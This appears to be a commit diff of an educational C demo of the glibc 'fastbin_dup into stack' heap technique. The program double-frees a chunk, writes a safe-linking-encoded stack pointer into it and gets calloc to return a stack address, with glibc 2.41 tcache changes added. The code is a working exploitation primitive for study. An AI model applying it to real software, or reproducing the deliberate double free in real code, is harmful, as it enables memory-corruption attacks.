|
1 | 1 | #include <stdio.h> |
2 | 2 | #include <stdlib.h> |
3 | 3 | #include <assert.h> |
| 4 | +#include <unistd.h> |
4 | 5 |
|
5 | 6 | int main() |
6 | 7 | { |
7 | | - fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" |
8 | | - "returning a pointer to a controlled location (in this case, the stack).\n"); |
| 8 | + setbuf(stdout, NULL); |
9 | 9 |
|
| 10 | + printf("This file extends on fastbin_dup.c by tricking malloc into\n" |
| 11 | + "returning a pointer to a controlled location (in this case, the stack).\n"); |
10 | 12 |
|
11 | | - fprintf(stderr,"Fill up tcache first.\n"); |
| 13 | + unsigned long stack_var[4] __attribute__ ((aligned (0x10))); |
| 14 | + printf("The address we want calloc() to return is %p.\n", stack_var + 2); |
12 | 15 |
|
| 16 | + printf("Allocate buffers to fill up tcache and prep fastbin.\n"); |
13 | 17 | void *ptrs[7]; |
14 | 18 |
|
15 | 19 | for (int i=0; i<7; i++) { |
16 | 20 | ptrs[i] = malloc(8); |
17 | 21 | } |
18 | | - for (int i=0; i<7; i++) { |
19 | | - free(ptrs[i]); |
20 | | - } |
21 | | - |
22 | | - |
23 | | - unsigned long stack_var[4] __attribute__ ((aligned (0x10))); |
24 | 22 |
|
25 | | - fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); |
26 | | - |
27 | | - fprintf(stderr, "Allocating 3 buffers.\n"); |
| 23 | + printf("Allocating 3 buffers.\n"); |
28 | 24 | int *a = calloc(1,8); |
29 | 25 | int *b = calloc(1,8); |
30 | 26 | int *c = calloc(1,8); |
| 27 | + printf("1st calloc(1,8): %p\n", a); |
| 28 | + printf("2nd calloc(1,8): %p\n", b); |
| 29 | + printf("3rd calloc(1,8): %p\n", c); |
31 | 30 |
|
32 | | - fprintf(stderr, "1st calloc(1,8): %p\n", a); |
33 | | - fprintf(stderr, "2nd calloc(1,8): %p\n", b); |
34 | | - fprintf(stderr, "3rd calloc(1,8): %p\n", c); |
| 31 | + printf("Fill up tcache.\n"); |
| 32 | + for (int i=0; i<7; i++) { |
| 33 | + free(ptrs[i]); |
| 34 | + } |
35 | 35 |
|
36 | | - fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin |
| 36 | + printf("Freeing the first chunk %p...\n", a); |
37 | 37 | free(a); |
38 | 38 |
|
39 | | - fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); |
| 39 | + printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); |
40 | 40 |
|
41 | | - fprintf(stderr, "So, instead, we'll free %p.\n", b); |
| 41 | + printf("So, instead, we'll free %p.\n", b); |
42 | 42 | free(b); |
43 | 43 |
|
44 | | - //Calling free(a) twice renders the program vulnerable to Double Free |
45 | | - |
46 | | - fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); |
| 44 | + printf("Now, we can free %p again, since it's not the head of the free list.\n", a); |
| 45 | + /* VULNERABILITY */ |
47 | 46 | free(a); |
| 47 | + /* VULNERABILITY */ |
| 48 | + |
| 49 | + printf("In order to use the free list for allocation, we'll need to empty the tcache.\n"); |
| 50 | + printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first."); |
| 51 | + printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd"); |
| 52 | + for (int i = 0; i < 7; i++) { |
| 53 | + ptrs[i] = malloc(8); |
| 54 | + } |
48 | 55 |
|
49 | | - fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " |
| 56 | + printf("Now the free list has [ %p, %p, %p ]. " |
50 | 57 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); |
51 | 58 | unsigned long *d = calloc(1,8); |
52 | 59 |
|
53 | | - fprintf(stderr, "1st calloc(1,8): %p\n", d); |
54 | | - fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); |
55 | | - fprintf(stderr, "Now the free list has [ %p ].\n", a); |
56 | | - fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" |
| 60 | + printf("1st calloc(1,8): %p\n", d); |
| 61 | + printf("2nd calloc(1,8): %p\n", calloc(1,8)); |
| 62 | + printf("Now the free list has [ %p ].\n", a); |
| 63 | + printf("Now, we have access to %p while it remains at the head of the free list.\n" |
57 | 64 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" |
58 | 65 | "so that calloc will think there is a free chunk there and agree to\n" |
59 | 66 | "return a pointer to it.\n", a); |
| 67 | + puts("Note that this is only needed for calloc. It is not needed for malloc."); |
60 | 68 | stack_var[1] = 0x20; |
61 | 69 |
|
62 | | - fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); |
63 | | - fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); |
64 | | - fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); |
65 | | - unsigned long ptr = (unsigned long)stack_var; |
| 70 | + printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); |
| 71 | + printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); |
| 72 | + printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); |
| 73 | + unsigned long ptr = (unsigned long)stack_var+0x10; |
66 | 74 | unsigned long addr = (unsigned long) d; |
67 | 75 | /*VULNERABILITY*/ |
68 | 76 | *d = (addr >> 12) ^ ptr; |
69 | 77 | /*VULNERABILITY*/ |
70 | 78 |
|
71 | | - fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); |
| 79 | + printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); |
72 | 80 |
|
73 | | - void *p = calloc(1,8); |
| 81 | + void *p = calloc(1, 8); |
74 | 82 |
|
75 | | - fprintf(stderr, "4th calloc(1,8): %p\n", p); |
76 | | - assert((unsigned long)p == (unsigned long)stack_var + 0x10); |
| 83 | + printf("4th calloc(1,8): %p\n", p); |
| 84 | + assert((unsigned long)p == (unsigned long)stack_var+0x10); |
77 | 85 | } |
0 commit comments